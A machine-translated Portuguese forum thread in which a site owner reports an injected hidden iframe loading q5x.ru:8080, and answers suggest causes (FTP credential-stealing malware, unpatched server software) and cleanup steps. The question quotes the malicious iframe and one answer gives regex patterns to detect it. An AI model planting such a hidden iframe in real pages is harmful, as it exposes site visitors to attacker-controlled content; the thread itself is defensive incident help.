Site atacado com um iframe oculto (q5x.ru)

Question

Um site meu foi recentemente infectado com algum tipo de ataque que envolveu a injeção de um iframe oculto, e sua origem era de um site q5x.ru (não link).

Uma pesquisa do Google didn não me ajude a descobrir como este ataque aconteceu, então eu estava me perguntando se alguém de vocês pode ter encontrado esse mesmo problema?

O código do iframe era algo do tipo:

<iframe src="http://q5x.ru:8080/index.php"width=109height=175style="visibility: hidden"></iframe>

Como por solicitação, estou executando um site ASP.Net com um banco de dados e, no que diz respeito a formulários, é obviamente o formulário ASP.Net usado para postagens.

    

Answer 1

Recentemente, encontramos o mesmo problema em um dos websites de nossos clientes.

Esse problema provavelmente está sendo causado por uma infecção por vírus que atinge principalmente clientes FTP e procura por combinações hostname / username / password. Uma vez encontrada, uma conexão com o servidor FTP está sendo aberta e procura arquivos index. * E adiciona o iFrame a ele.

Em nosso caso particular, nosso cliente era um dos poucos que tinham acesso direto ao servidor FTP. Nós imediatamente mudamos as senhas, restauramos os backups dos arquivos e removemos o acesso FTP para nosso cliente.

Etapas a serem tomadas:

• Altere suas senhas imediatamente
• Se você tiver acesso aos registros de FTP do servidor, descubra quais arquivos foram infectados
• Para arquivos infectados, aconselho strongmente que restaure manualmente esses arquivos e não use search / replace por padrão. Na maioria dos casos, os IFrames são adicionados no final do arquivo, mas eu também vi os arquivos serem parcialmente excluídos.

Além disso, se o rastreador do Google visitar seu site enquanto estiver infectado, ele será adicionado à lista de malware , o que afetará seriamente a reputação do seu site. Se isso acontecer, siga os seguintes passos :

1. Verifique se o site não contém mais arquivos infectados
2. Verifique se seu site foi confirmado com as Ferramentas do Google para webmasters
3. Use as Ferramentas do Google para webmasters para solicitar uma nova revisão do site

Answer 2

Aqui estão algumas dicas que podem ajudá-lo:

1. A primeira coisa a fazer para evitar esse tipo de ataque é alterar o seu ftp, o painel de controle e as senhas do banco de dados o mais rápido possível.
2. Altere as permissões de arquivo em seu servidor para o modo de segurança máxima.
3. Baixe todos os seus arquivos do servidor e verifique se há infecções. Limpe os arquivos infectados.
4. Usando um bom software antivírus, escaneie e limpe todos os computadores que você usa para fazer login no servidor de hospedagem.
5. Nunca use computadores públicos para acessar seu servidor.

Como faço para limpar arquivos infectados?

Use essas expressões regulares para pesquisar todas as páginas que contêm o código malicioso e substituí-lo por espaço:

<iframe src=\”http://[^"]*” width=105 height=175 style=\”visibility:hidden;
position:absolute\”></iframe>

echo \”<iframe src=\\”http://[^"]*\” width=105 height=175 style=\\”
visibility:hidden; position:absolute\\”></iframe>\”;

Você pode ter que escrever um script para automatizar isso para todos os arquivos no servidor.

Fonte: link

link

    

Answer 3

isso aconteceu comigo antes. Você precisa procurar manualmente pelo script de injeção incorreto e excluí-lo. Eu sugiro que você mude suas senhas e também altere os nomes de seu banco de dados e tabelas de banco de dados apenas para ter certeza

    

Answer 4

Embora o @Aron escreva Provavelmente algum vírus do lado do cliente capturou suas senhas (o que pode muito bem ser verdade para esse ataque específico), geralmente esse tipo de ataque explora vulnerabilidades não corrigidas no software do servidor. Como no próprio servidor da Web, em um CMS ou em ferramentas como phpMyAdmin .

Então: você tem certeza de que está executando as versões mais recentes de todos os softwares em seu servidor?

(Ou os logs de FTP mostram alguma atividade?)